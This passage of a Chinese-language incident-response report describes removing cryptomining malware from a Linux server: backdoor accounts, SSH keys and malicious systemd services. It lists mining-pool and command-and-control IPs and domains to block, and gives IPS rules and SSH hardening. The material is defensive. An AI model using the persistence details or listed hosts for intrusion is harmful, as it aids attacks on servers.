\/sbin\/nologin\u7981\u7528\u767b\u5f55Shell&#xff0c;\u5f7b\u5e95\u963b\u65ad\u5176\u767b\u5f55\u6743\u9650&#xff1b;<\/p>\n<\/li>\n<li>\n<p>\u5220\u9664SSH\u514d\u5bc6\u767b\u5f55\u5bc6\u94a5&#xff1a;\u5220\u9664root\u3001mail\u3001ext4-perl\u4e09\u4e2a\u7528\u6237\u7684~\/.ssh\/authorized_keys\u6587\u4ef6&#xff0c;\u6839\u9664SSH\u514d\u5bc6\u767b\u5f55\u540e\u95e8&#xff1b;<\/p>\n<\/li>\n<li>\n<p>\u5c01\u7981\u6076\u610f\u5916\u8054IP&#xff1a;\u5728\u9632\u706b\u5899\u4e2d\u914d\u7f6e\u6c38\u4e45\u89c4\u5219&#xff0c;\u5c01\u7981\u77ff\u6c60\u5916\u8054IP168.235.95.104&#xff0c;\u5207\u65ad\u75c5\u6bd2\u4e0e\u63a7\u5236\u7aef\u7684\u901a\u4fe1\u901a\u9053\u3002<\/p>\n<p><img decoding=\"async\" src=\"2026-07-252mkmnkxjkkw.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"2026-07-255i1nhnwmlvq.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/> <img decoding=\"async\" src=\"2026-07-25liuloeeanrm.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<h4>&#xff08;\u4e94&#xff09;\u7b2c\u4e94\u6b65&#xff1a;\u6076\u610f\u670d\u52a1\u6839\u9664&#xff0c;\u5207\u65ad\u670d\u52a1\u7ea7\u81ea\u542f\u901a\u9053<\/h4>\n<p>\u6392\u67e5\u53d1\u73b0\u670d\u52a1\u5668\u5b58\u5728tfyqtbcdd.service\u3001qfxscrxea.service\u3001rqdmal.service\u7b4910\u4e2a\u6076\u610fsystemd\u670d\u52a1&#xff0c;\u90e8\u5206\u670d\u52a1\u867d\u6587\u4ef6\u7f3a\u5931\u4f46\u72b6\u6001\u4ecd\u4e3aactive&#xff0c;\u9700\u5f7b\u5e95\u6e05\u7406&#xff1a;<\/p>\n<li>\n<p>\u505c\u6b62\u5e76\u7981\u7528\u6076\u610f\u670d\u52a1&#xff1a;\u6267\u884csystemctl stop\u505c\u6b62\u6240\u6709\u6076\u610f\u670d\u52a1&#xff0c;\u901a\u8fc7systemctl disable\u7981\u7528\u81ea\u542f\u914d\u7f6e&#xff1b;<\/p>\n<\/li>\n<li>\n<p>\u5220\u9664\u6076\u610f\u670d\u52a1\u6587\u4ef6&#xff1a;\u5bf9\u5b58\u5728\u914d\u7f6e\u6587\u4ef6\u7684tfyqtbcdd.service\u3001qfxscrxea.service\u7b49&#xff0c;\u89e3\u9501\u6587\u4ef6\u5c5e\u6027\u540e\u6267\u884crm -f\u5220\u9664\u670d\u52a1\u914d\u7f6e\u6587\u4ef6&#xff1b;<\/p>\n<\/li>\n<li>\n<p>\u91cd\u7f6e\u5931\u6548\u670d\u52a1\u72b6\u6001&#xff1a;\u5bf9\u6587\u4ef6\u7f3a\u5931\u7684rqdmal.service\u3001pam-libvirt.service\u7b49&#xff0c;\u6267\u884csystemctl reset-failed\u91cd\u7f6e\u72b6\u6001&#xff0c;\u786e\u4fdd\u65e0\u6b8b\u7559\u81ea\u542f\u914d\u7f6e&#xff1b;<\/p>\n<\/li>\n<li>\n<p>\u91cd\u65b0\u52a0\u8f7dsystemd\u914d\u7f6e&#xff1a;\u6267\u884csystemctl daemon-reload\u4f7f\u4fee\u6539\u751f\u6548&#xff0c;\u5f7b\u5e95\u5207\u65ad\u670d\u52a1\u7ea7\u81ea\u542f\u901a\u9053\u3002<\/p>\n<p>\u4ec5\u5c55\u793a\u90e8\u5206<\/p>\n<p><img decoding=\"async\" src=\"2026-07-25wm5zzcrrzuo.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/> <img decoding=\"async\" src=\"2026-07-25cukedwux3fw.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<h4>&#xff08;\u516d&#xff09;\u7b2c\u516d\u6b65&#xff1a;\u6e05\u7406\u6548\u679c\u9a8c\u8bc1\u4e0e\u7cfb\u7edf\u52a0\u56fa<\/h4>\n<li>\n<p>\u6548\u679c\u9a8c\u8bc1&#xff1a;\u6267\u884ccat \/proc\/softirqs\u76d1\u63a7\u7cfb\u7edf\u8f6f\u4e2d\u65ad&#xff0c;\u901a\u8fc7top\u3001vmstat 1\u67e5\u770bCPU\u5360\u7528\u7387&#xff0c;\u786e\u8ba4\u8f6f\u4e2d\u65ad\u65e0\u5f02\u5e38\u3001CPU\u7a7a\u95f2\u503c\u6062\u590d\u81f390%\u4ee5\u4e0a&#xff0c;\u6316\u77ff\u75c5\u6bd2\u76f8\u5173\u8fdb\u7a0b\u3001\u6587\u4ef6\u3001\u670d\u52a1\u5747\u65e0\u6b8b\u7559&#xff1b;<\/p>\n<p><img decoding=\"async\" src=\"2026-07-25gpgm3fqnju4.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"2026-07-25234w5bdh0nr.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"2026-07-25oez4np1ff3o.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"2026-07-255awzvche1mo.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<li>\n<p>\u7cfb\u7edf\u52a0\u56fa&#xff1a;\u4fee\u6539root\u7528\u6237\u5f3a\u5bc6\u7801\u5e76\u4ea4\u4ed8\u4e13\u4eba\u4fdd\u7ba1&#xff0c;\u4f18\u5316SSH\u914d\u7f6e&#xff08;\u7981\u7528\u5bc6\u7801\u767b\u5f55\u3001\u9650\u5236root\u767b\u5f55&#xff09;&#xff0c;\u786e\u4fdd\u670d\u52a1\u5668\u5b89\u5168\u9632\u62a4\u80fd\u529b\u8fbe\u6807\u3002<\/p>\n<\/li>\n<h4>\u5904\u7f6e\u603b\u7ed3<\/h4>\n<p>\u672c\u6b21\u6e05\u7406\u4e25\u683c\u9075\u5faa\u201c\u5907\u4efd-\u6e05\u7406-\u5c01\u5835-\u9a8c\u8bc1\u201d\u7684\u903b\u8f91&#xff0c;\u6309\u8ba1\u5212\u4efb\u52a1\u2192\u6076\u610f\u6587\u4ef6\u2192\u540e\u95e8\u914d\u7f6e\u2192\u6076\u610f\u670d\u52a1\u7684\u987a\u5e8f\u9010\u5c42\u63a8\u8fdb&#xff0c;\u7d2f\u8ba1\u6e05\u7406\u6076\u610f\u8ba1\u5212\u4efb\u52a124\u4e2a\u3001\u6076\u610f\u6587\u4ef632\u4e2a\u3001\u6076\u610f\u670d\u52a110\u4e2a&#xff0c;\u5c01\u7981\u540e\u95e8\u7528\u62372\u4e2a\u3001\u6076\u610f\u5916\u8054IP1\u4e2a&#xff0c;\u6700\u7ec8\u5b9e\u73b0CPU\u5360\u7528\u7387\u6062\u590d\u6b63\u5e38&#xff0c;\u670d\u52a1\u5668\u5b89\u5168\u72b6\u6001\u8fbe\u6807\u3002\u6240\u6709\u64cd\u4f5c\u5747\u7559\u5b58\u4e86\u6267\u884c\u8bb0\u5f55\u4e0e\u6821\u9a8c\u7ed3\u679c&#xff0c;\u786e\u4fdd\u5904\u7f6e\u8fc7\u7a0b\u53ef\u8ffd\u6eaf\u3001\u53ef\u9a8c\u8bc1\u3002<\/p>\n<h3>\u4e94\u3001\u5168\u7f51\u5c01\u5835\u4e0e\u7cfb\u7edf\u6df1\u5ea6\u52a0\u56fa&#xff1a;\u4ece\u5e94\u6025\u6e05\u7406\u5230\u957f\u6548\u9632\u62a4&#xff0c;\u675c\u7edd\u4e8c\u6b21\u5165\u4fb5<\/h3>\n<p>\u672c\u6b21\u6316\u77ff\u75c5\u6bd2\u5165\u4fb5\u7684\u672c\u8d28&#xff0c;\u662f\u670d\u52a1\u5668\u6280\u672f\u9632\u62a4\u7f3a\u5931\u4e0e\u4f01\u4e1a\u5355\u4f4d\u5b89\u5168\u7ba1\u7406\u673a\u5236\u4e0d\u5b8c\u5584\u5171\u540c\u4f5c\u7528\u7684\u7ed3\u679c&#xff1a;\u670d\u52a1\u5668\u91c7\u7528\u5f31\u53e3\u4ee4\u3001SSH\u7aef\u53e3\u672a\u505a\u8bbf\u95ee\u63a7\u5236\u3001\u79c1\u7f51\u670d\u52a1\u5668\u66b4\u9732\u4e8e\u5916\u7f51\u3001\u672a\u90e8\u7f72\u4e3b\u673a\u5b89\u5168\u9632\u62a4\u5de5\u5177\u3001\u7f3a\u4e4f\u5e38\u6001\u5316\u7684\u5b89\u5168\u76d1\u6d4b\u3002<\/p>\n<p>\u56e0\u6b64&#xff0c;\u5728\u5b8c\u6210\u6316\u77ff\u75c5\u6bd2\u7684\u6df1\u5ea6\u6e05\u7406\u540e&#xff0c;\u5fc5\u987b\u5f00\u5c55\u5168\u7f51\u6076\u610fIOC\u5c01\u5835\u4e0e\u670d\u52a1\u5668\u6df1\u5ea6\u5b89\u5168\u52a0\u56fa&#xff0c;\u540c\u65f6\u4e3a\u4f01\u4e1a\u5355\u4f4d\u5236\u5b9a\u7cfb\u7edf\u6027\u7684\u5b89\u5168\u4f18\u5316\u5efa\u8bae&#xff0c;\u5b9e\u73b0\u201c\u5e94\u6025\u6e05\u7406\u201d\u5230\u201c\u957f\u6548\u9632\u62a4\u201d\u7684\u8f6c\u53d8&#xff0c;\u4ece\u6839\u672c\u4e0a\u675c\u7edd\u540c\u7c7b\u5b89\u5168\u4e8b\u4ef6\u7684\u518d\u6b21\u53d1\u751f\u3002<\/p>\n<h4>&#xff08;\u4e00&#xff09;\u5168\u7f51\u6076\u610fIOC\u5c01\u5835&#xff0c;\u5207\u65ad\u5916\u90e8\u653b\u51fb\u901a\u9053<\/h4>\n<p>\u57fa\u4e8e\u6eaf\u6e90\u63d0\u53d6\u7684\u6316\u77ff\u75c5\u6bd2\u6838\u5fc3IOC\u4fe1\u606f&#xff0c;\u5728\u4f01\u4e1a\u5355\u4f4d\u5168\u7f51\u8fb9\u754c\u8bbe\u5907\u3001\u5b89\u5168\u8bbe\u5907\u3001\u7ec8\u7aef\u4e0e\u670d\u52a1\u5668\u4e2d\u8fdb\u884c\u7edf\u4e00\u9ed1\u540d\u5355\u914d\u7f6e&#xff0c;\u5b9e\u73b0\u5bf9\u6076\u610f\u8d44\u6e90\u7684\u7cbe\u51c6\u3001\u5168\u7f51\u5c01\u5835&#xff0c;\u9632\u6b62\u653b\u51fb\u8005\u901a\u8fc7\u540c\u4e00\u653b\u51fb\u6e90\u3001\u540c\u4e00\u77ff\u6c60\u901a\u9053\u518d\u6b21\u5165\u4fb5\u5176\u4ed6\u670d\u52a1\u5668&#xff0c;\u6838\u5fc3\u5c01\u5835\u63aa\u65bd\u5305\u62ec&#xff1a;<\/p>\n<li>\u9632\u706b\u5899\/\u8def\u7531\u5668\u5c42\u9762&#xff1a;\u5728\u4f01\u4e1a\u5916\u7f51\u4e0e\u5185\u7f51\u7684\u8fb9\u754c\u9632\u706b\u5899\u3001\u6838\u5fc3\u8def\u7531\u5668\u4e2d&#xff0c;\u6c38\u4e45\u5c01\u79812.37.xx.xx\u300124.144.127.234\u3001168.235.95.104\u7b49\u6076\u610fIP&#xff0c;\u5c4f\u853dservices.sshd.services\u3001cc.systemctl.cc\u7b49\u6076\u610f\u57df\u540d&#xff0c;\u62d2\u7edd\u6240\u6709\u4e0e\u8fd9\u4e9b\u8d44\u6e90\u7684\u5165\u7ad9\u3001\u51fa\u7ad9\u901a\u4fe1&#xff1b;<\/li>\n<li>\u5165\u4fb5\u9632\u5fa1\u7cfb\u7edf&#xff08;IPS&#xff09;\u5c42\u9762&#xff1a;\u5728IPS\u4e2d\u6dfb\u52a0\u6316\u77ff\u75c5\u6bd2\u7279\u5f81\u89c4\u5219&#xff0c;\u9488\u5bf9CoinMiner Stratum\u534f\u8bae\u3001\u95e8\u7f57\u5e01jsonrpc\u534f\u8bae\u3001SSH\u66b4\u529b\u7834\u89e3\u7b49\u653b\u51fb\u884c\u4e3a\u8bbe\u7f6e\u5b9e\u65f6\u62e6\u622a\u7b56\u7565&#xff0c;\u5bf9\u9ad8\u9891\u6b21SSH\u767b\u5f55\u5931\u8d25\u7684IP\u8fdb\u884c\u81ea\u52a8\u5c4f\u853d&#xff08;\u59823\u6b21\u5931\u8d25\u5373\u5c4f\u853d1\u5c0f\u65f6&#xff09;&#xff1b;<\/li>\n<li>\u7ec8\u7aef\/\u670d\u52a1\u5668\u5c42\u9762&#xff1a;\u5728\u6240\u6709\u4f01\u4e1a\u7ec8\u7aef\u4e0e\u670d\u52a1\u5668\u4e2d&#xff0c;\u914d\u7f6ehosts\u6587\u4ef6&#xff0c;\u5c06\u6076\u610f\u57df\u540d\u89e3\u6790\u81f3\u672c\u5730\u56de\u73af\u5730\u5740&#xff08;127.0.0.1&#xff09;&#xff0c;\u5b9e\u73b0\u672c\u5730\u5c42\u9762\u7684\u57df\u540d\u62e6\u622a\u3002<\/li>\n<h4>&#xff08;\u4e8c&#xff09;\u670d\u52a1\u5668\u6df1\u5ea6\u5b89\u5168\u52a0\u56fa&#xff0c;\u8865\u9f50\u6280\u672f\u9632\u62a4\u77ed\u677f<\/h4>\n<p>\u9488\u5bf9\u672c\u6b21\u5165\u4fb5\u66b4\u9732\u7684\u670d\u52a1\u5668\u5b89\u5168\u6f0f\u6d1e&#xff0c;\u4eceSSH\u670d\u52a1\u3001\u8d26\u6237\u6743\u9650\u3001\u7cfb\u7edf\u914d\u7f6e\u3001\u65e5\u5fd7\u5ba1\u8ba1\u3001\u5b89\u5168\u9632\u62a4\u4e94\u5927\u6838\u5fc3\u7ef4\u5ea6&#xff0c;\u5bf9\u6d89\u4e8b\u670d\u52a1\u5668\u8fdb\u884c\u6df1\u5ea6\u5b89\u5168\u52a0\u56fa&#xff0c;\u6253\u9020\u201c\u7eb5\u6df1\u9632\u5fa1\u201d\u7684\u670d\u52a1\u5668\u5b89\u5168\u9632\u62a4\u4f53\u7cfb&#xff0c;\u6838\u5fc3\u52a0\u56fa\u63aa\u65bd\u5982\u4e0b&#xff1a;<\/p>\n<h5>1. SSH\u670d\u52a1\u6838\u5fc3\u52a0\u56fa&#xff08;\u91cd\u4e2d\u4e4b\u91cd&#xff09;<\/h5>\n<p>SSH\u7aef\u53e3\u662f\u672c\u6b21\u5165\u4fb5\u7684\u552f\u4e00\u5165\u53e3&#xff0c;\u56e0\u6b64SSH\u670d\u52a1\u7684\u52a0\u56fa\u662f\u670d\u52a1\u5668\u5b89\u5168\u7684\u6838\u5fc3&#xff0c;\u7f16\u8f91\/etc\/ssh\/sshd_config\u914d\u7f6e\u6587\u4ef6&#xff0c;\u505a\u5982\u4e0b\u5173\u952e\u4fee\u6539&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u7981\u6b62root\u7528\u6237\u76f4\u63a5\u767b\u5f55\u670d\u52a1\u5668<\/span><br \/>\nPermitRootLogin no<br \/>\n<span class=\"token comment\"># \u7981\u7528\u5bc6\u7801\u8ba4\u8bc1&#xff0c;\u4ec5\u5141\u8bb8SSH\u5bc6\u94a5\u8ba4\u8bc1<\/span><br \/>\nPasswordAuthentication no<br \/>\n<span class=\"token comment\"># \u4ec5\u5141\u8bb8\u6307\u5b9a\u7684\u53ef\u4fe1\u8fd0\u7ef4\u7528\u6237\u767b\u5f55<\/span><br \/>\nAllowUsers ops_user1 ops_user2<br \/>\n<span class=\"token comment\"># \u9650\u5236SSH\u8ba4\u8bc1\u6700\u5927\u5c1d\u8bd5\u6b21\u6570\u4e3a3\u6b21&#xff0c;\u9632\u6b62\u66b4\u529b\u7834\u89e3<\/span><br \/>\nMaxAuthTries <span class=\"token number\">3<\/span><br \/>\n<span class=\"token comment\"># \u8bbe\u7f6e\u5ba2\u6237\u7aef\u7a7a\u95f2300\u79d2\u540e\u81ea\u52a8\u65ad\u5f00\u8fde\u63a5&#xff0c;\u9632\u6b62\u4f1a\u8bdd\u52ab\u6301<\/span><br \/>\nClientAliveInterval <span class=\"token number\">300<\/span><br \/>\n<span class=\"token comment\"># \u5ba2\u6237\u7aef\u7a7a\u95f2\u8d85\u65f6\u540e&#xff0c;\u81ea\u52a8\u65ad\u5f00\u7684\u6b21\u6570<\/span><br \/>\nClientAliveCountMax <span class=\"token number\">2<\/span><br \/>\n<span class=\"token comment\"># \u7981\u7528\u65e0\u7528\u7684SSH\u534f\u8bae\u4e0e\u529f\u80fd<\/span><br \/>\nProtocol <span class=\"token number\">2<\/span><br \/>\nX11Forwarding no<br \/>\nAllowTcpForwarding no<\/p>\n<p>\u4fee\u6539\u5b8c\u6210\u540e&#xff0c;\u91cd\u542fSSH\u670d\u52a1\u4f7f\u914d\u7f6e\u751f\u6548&#xff0c;\u5e76\u90e8\u7f72fail2ban\u5165\u4fb5\u9632\u5fa1\u8f6f\u4ef6&#xff0c;\u5f3a\u5316SSH\u7aef\u53e3\u7684\u66b4\u529b\u7834\u89e3\u9632\u62a4\u80fd\u529b\u3002<\/p>\n<h5>2. \u8d26\u6237\u4e0e\u6743\u9650\u52a0\u56fa<\/h5>\n<ul>\n<li>\u91cd\u7f6eroot\u53ca\u6240\u6709\u8fd0\u7ef4\u7528\u6237\u7684\u5bc6\u7801&#xff0c;\u91c7\u7528**\u201c\u5927\u5c0f\u5199\u5b57\u6bcd&#043;\u6570\u5b57&#043;\u7279\u6b8a\u7b26\u53f7\u201d**\u7684\u590d\u6742\u53e3\u4ee4&#xff0c;\u957f\u5ea6\u4e0d\u4f4e\u4e8e12\u4f4d&#xff0c;\u4e14\u5305\u542b\u65e0\u89c4\u5f8b\u7684\u5b57\u7b26\u7ec4\u5408&#xff0c;\u675c\u7edd\u5f31\u53e3\u4ee4&#xff1b;<\/li>\n<li>\u6e05\u7406\u670d\u52a1\u5668\u4e2d\u7684\u5197\u4f59\u8d26\u6237\u3001\u65e0\u7528\u8d26\u6237&#xff0c;\u5c24\u5176\u662f\u9ad8\u6743\u9650\u8d26\u6237&#xff0c;\u4ec5\u4fdd\u7559\u4e1a\u52a1\u5fc5\u9700\u7684\u8fd0\u7ef4\u8d26\u6237\u4e0e\u7cfb\u7edf\u8d26\u6237&#xff1b;<\/li>\n<li>\u4e3a\u6240\u6709\u8fd0\u7ef4\u8d26\u6237\u5206\u914d\u6700\u5c0f\u5fc5\u8981\u6743\u9650&#xff0c;\u901a\u8fc7sudoers\u6587\u4ef6\u4e25\u683c\u9650\u5236\u7528\u6237\u7684\u64cd\u4f5c\u6743\u9650&#xff0c;\u7981\u6b62\u666e\u901a\u7528\u6237\u6267\u884c\u7cfb\u7edf\u7ea7\u654f\u611f\u64cd\u4f5c\u3002<\/li>\n<\/ul>\n<h5>3. \u7cfb\u7edf\u57fa\u7840\u914d\u7f6e\u52a0\u56fa<\/h5>\n<ul>\n<li>\u5173\u95ed\u670d\u52a1\u5668\u4e2d\u4e0d\u5fc5\u8981\u7684\u670d\u52a1\u4e0e\u7aef\u53e3&#xff0c;\u4ec5\u4fdd\u7559\u4e1a\u52a1\u5fc5\u9700\u7684\u670d\u52a1&#xff08;\u5982SSH\u3001\u4e1a\u52a1\u5e94\u7528\u670d\u52a1&#xff09;&#xff0c;\u901a\u8fc7systemctl disable\u7981\u7528\u65e0\u7528\u7684\u7cfb\u7edf\u670d\u52a1&#xff0c;\u964d\u4f4e\u653b\u51fb\u9762&#xff1b;<\/li>\n<li>\u5bf9\u7cfb\u7edf\u6838\u5fc3\u6587\u4ef6&#xff08;\u5982\/etc\/passwd\u3001\/etc\/shadow\u3001\/etc\/sudoers&#xff09;\u6dfb\u52a0i\u5c5e\u6027&#xff0c;\u9632\u6b62\u88ab\u6076\u610f\u7be1\u6539&#xff1b;<\/li>\n<li>\u5f00\u542fLinux\u7cfb\u7edf\u7684SELinux\u5b89\u5168\u6a21\u5757&#xff0c;\u8bbe\u7f6e\u4e3aenforcing\u6a21\u5f0f&#xff0c;\u5f3a\u5316\u7cfb\u7edf\u7684\u8bbf\u95ee\u63a7\u5236\u4e0e\u6076\u610f\u884c\u4e3a\u62e6\u622a\u80fd\u529b\u3002<\/li>\n<\/ul>\n<h5>4. \u65e5\u5fd7\u5ba1\u8ba1\u4f53\u7cfb\u52a0\u56fa<\/h5>\n<ul>\n<li>\u5f00\u542f\u670d\u52a1\u5668\u7684\u5168\u91cf\u7cfb\u7edf\u5ba1\u8ba1\u65e5\u5fd7&#xff0c;\u901a\u8fc7rsyslog\u670d\u52a1\u914d\u7f6e\u65e5\u5fd7\u7684\u5f02\u5730\u5b58\u50a8&#xff0c;\u786e\u4fdd\u65e5\u5fd7\u4e0d\u88ab\u672c\u5730\u7be1\u6539\u3001\u5220\u9664&#xff0c;\u65e5\u5fd7\u7559\u5b58\u65f6\u95f4\u4e0d\u4f4e\u4e8e6\u4e2a\u6708&#xff1b;<\/li>\n<li>\u914d\u7f6e\u65e5\u5fd7\u544a\u8b66\u89c4\u5219&#xff0c;\u5bf9SSH\u767b\u5f55\u5931\u8d25\u3001\u7528\u6237\u6743\u9650\u53d8\u66f4\u3001\u6838\u5fc3\u6587\u4ef6\u4fee\u6539\u3001\u5f02\u5e38\u8fdb\u7a0b\u542f\u52a8\u7b49\u884c\u4e3a\u8bbe\u7f6e\u5b9e\u65f6\u544a\u8b66&#xff0c;\u786e\u4fdd\u5b89\u5168\u4e8b\u4ef6\u53ef\u88ab\u53ca\u65f6\u53d1\u73b0&#xff1b;<\/li>\n<li>\u5c06\u670d\u52a1\u5668\u65e5\u5fd7\u63a5\u5165\u5355\u4f4d\u7684SIEM\u6280\u672f\u76d1\u6d4b\u5e73\u53f0&#xff0c;\u5b9e\u73b0\u65e5\u5fd7\u7684\u96c6\u4e2d\u7ba1\u7406\u3001\u81ea\u52a8\u5316\u5206\u6790\u4e0e\u53ef\u89c6\u5316\u5c55\u793a\u3002<\/li>\n<\/ul>\n<h5>5. \u90e8\u7f72\u6838\u5fc3\u5b89\u5168\u9632\u62a4\u5de5\u5177<\/h5>\n<ul>\n<li>\u5728\u670d\u52a1\u5668\u4e0a\u90e8\u7f72\u6b63\u7248\u4e3b\u673a\u6740\u6bd2\u8f6f\u4ef6\u4e0e\u4e3b\u673a\u5165\u4fb5\u68c0\u6d4b\u7cfb\u7edf&#xff08;HIDS&#xff09;&#xff0c;\u5f00\u542f\u5b9e\u65f6\u76d1\u6d4b\u4e0e\u81ea\u52a8\u62e6\u622a\u6a21\u5f0f&#xff0c;\u5bf9\u6076\u610f\u7a0b\u5e8f\u690d\u5165\u3001\u5f02\u5e38\u8fdb\u7a0b\u542f\u52a8\u3001\u654f\u611f\u6587\u4ef6\u4fee\u6539\u3001\u4e0d\u660e\u7f51\u7edc\u5916\u8054\u7b49\u884c\u4e3a\u8fdb\u884c\u5b9e\u65f6\u544a\u8b66\u4e0e\u62e6\u622a&#xff1b;<\/li>\n<li>\u5b9a\u671f\u66f4\u65b0\u6740\u6bd2\u8f6f\u4ef6\u7684\u75c5\u6bd2\u5e93\u3001HIDS\u7684\u7279\u5f81\u5e93&#xff0c;\u786e\u4fdd\u9632\u62a4\u5de5\u5177\u5bf9\u65b0\u578b\u6316\u77ff\u75c5\u6bd2\u3001\u6076\u610f\u7a0b\u5e8f\u7684\u8bc6\u522b\u4e0e\u62e6\u622a\u80fd\u529b&#xff1b;<\/li>\n<li>\u90e8\u7f72\u670d\u52a1\u5668\u5b89\u5168\u57fa\u7ebf\u68c0\u67e5\u5de5\u5177&#xff0c;\u5b9a\u671f\u5bf9\u670d\u52a1\u5668\u7684\u5b89\u5168\u914d\u7f6e\u8fdb\u884c\u626b\u63cf&#xff0c;\u53d1\u73b0\u5e76\u4fee\u590d\u914d\u7f6e\u6f0f\u6d1e\u3002<\/li>\n<\/ul>\n<h3>\u516d\u3001\u5904\u7f6e\u6548\u679c\u9a8c\u8bc1&#xff1a;\u591a\u7ef4\u5ea6\u5168\u91cf\u68c0\u6d4b&#xff0c;\u786e\u8ba4\u670d\u52a1\u5668\u5b8c\u5168\u6062\u590d\u6b63\u5e38<\/h3>\n<p>\u5728\u5b8c\u6210\u6316\u77ff\u75c5\u6bd2\u6e05\u7406\u3001\u5168\u7f51IOC\u5c01\u5835\u3001\u670d\u52a1\u5668\u6df1\u5ea6\u52a0\u56fa\u540e&#xff0c;\u901a\u8fc7\u8d44\u6e90\u76d1\u63a7\u3001\u8fdb\u7a0b\u68c0\u67e5\u3001\u7f51\u7edc\u68c0\u6d4b\u3001\u65e5\u5fd7\u5ba1\u8ba1\u3001\u4e1a\u52a1\u9a8c\u8bc1\u4e94\u5927\u7ef4\u5ea6&#xff0c;\u5bf9\u5904\u7f6e\u6548\u679c\u8fdb\u884c\u5168\u91cf\u3001\u6301\u7eed\u7684\u9a8c\u8bc1&#xff0c;\u786e\u4fdd\u6316\u77ff\u75c5\u6bd2\u88ab\u5f7b\u5e95\u6839\u9664&#xff0c;\u670d\u52a1\u5668\u6062\u590d\u6b63\u5e38\u8fd0\u884c&#xff0c;\u4e14\u4f01\u4e1a\u4e1a\u52a1\u65e0\u4efb\u4f55\u5f71\u54cd\u3002<\/p>\n<h4>&#xff08;\u4e00&#xff09;\u8d44\u6e90\u76d1\u63a7\u9a8c\u8bc1<\/h4>\n<p>\u901a\u8fc7top\u3001vmstat 1\u3001sar -u 1 60\u7b49\u5de5\u5177&#xff0c;\u5bf9\u670d\u52a1\u5668CPU\u3001\u5185\u5b58\u3001\u78c1\u76d8IO\u7b49\u8d44\u6e90\u8fdb\u884c\u6301\u7eed1\u5c0f\u65f6\u7684\u76d1\u63a7&#xff0c;\u786e\u8ba4&#xff1a;<\/p>\n<ul>\n<li>CPU\u5360\u7528\u7387\u7a33\u5b9a\u5728\u6b63\u5e38\u6c34\u5e73&#xff0c;\u7a7a\u95f2\u503c&#xff08;id&#xff09;\u226590%&#xff0c;\u7528\u6237\u6001&#xff08;us&#xff09;\u3001\u5185\u6838\u6001&#xff08;sy&#xff09;\u5360\u6bd4\u5904\u4e8e\u5408\u7406\u8303\u56f4&#xff0c;\u65e0\u5f02\u5e38\u6ce2\u52a8&#xff1b;<\/li>\n<li>\u5185\u5b58\u3001\u78c1\u76d8IO\u8d44\u6e90\u5360\u7528\u6b63\u5e38&#xff0c;\u65e0\u4e0d\u660e\u7684\u8d44\u6e90\u6d88\u8017\u884c\u4e3a&#xff0c;\u670d\u52a1\u5668\u7cfb\u7edf\u8fd0\u884c\u6d41\u7545\u3002<\/li>\n<\/ul>\n<h4>&#xff08;\u4e8c&#xff09;\u8fdb\u7a0b\u4e0e\u670d\u52a1\u68c0\u67e5<\/h4>\n<p>\u901a\u8fc7ps -ef\u3001systemctl list-units &#8211;type&#061;service\u3001chkconfig &#8211;list\u7b49\u5de5\u5177&#xff0c;\u5bf9\u670d\u52a1\u5668\u7684\u8fdb\u7a0b\u4e0e\u670d\u52a1\u8fdb\u884c\u5168\u91cf\u68c0\u67e5&#xff0c;\u786e\u8ba4&#xff1a;<\/p>\n<ul>\n<li>\u65e0\u6316\u77ff\u75c5\u6bd2\u76f8\u5173\u7684\u6076\u610f\u8fdb\u7a0b\u3001\u4f2a\u88c5\u8fdb\u7a0b&#xff0c;\u6240\u6709\u8fd0\u884c\u7684\u8fdb\u7a0b\u5747\u4e3a\u7cfb\u7edf\u539f\u751f\u8fdb\u7a0b\u4e0e\u4f01\u4e1a\u4e1a\u52a1\u8fdb\u7a0b&#xff1b;<\/li>\n<li>\u65e0\u6076\u610fsystemd\u670d\u52a1\u3001\u65e0\u5f02\u5e38\u542f\u52a8\u670d\u52a1&#xff0c;\u6240\u6709\u670d\u52a1\u7684\u72b6\u6001\u5747\u4e3aactive (running)\u6216inactive (dead)&#xff0c;\u65e0activating (auto-restart)\u7b49\u5f02\u5e38\u72b6\u6001&#xff1b;<\/li>\n<li>\u8ba1\u5212\u4efb\u52a1\u76ee\u5f55\u4e2d\u65e0\u6076\u610f\u811a\u672c&#xff0c;\u6240\u6709\u8ba1\u5212\u4efb\u52a1\u5747\u4e3a\u4e1a\u52a1\u5fc5\u9700\u7684\u5408\u6cd5\u4efb\u52a1\u3002<\/li>\n<\/ul>\n<h4>&#xff08;\u4e09&#xff09;\u7f51\u7edc\u68c0\u6d4b\u9a8c\u8bc1<\/h4>\n<p>\u901a\u8fc7netstat 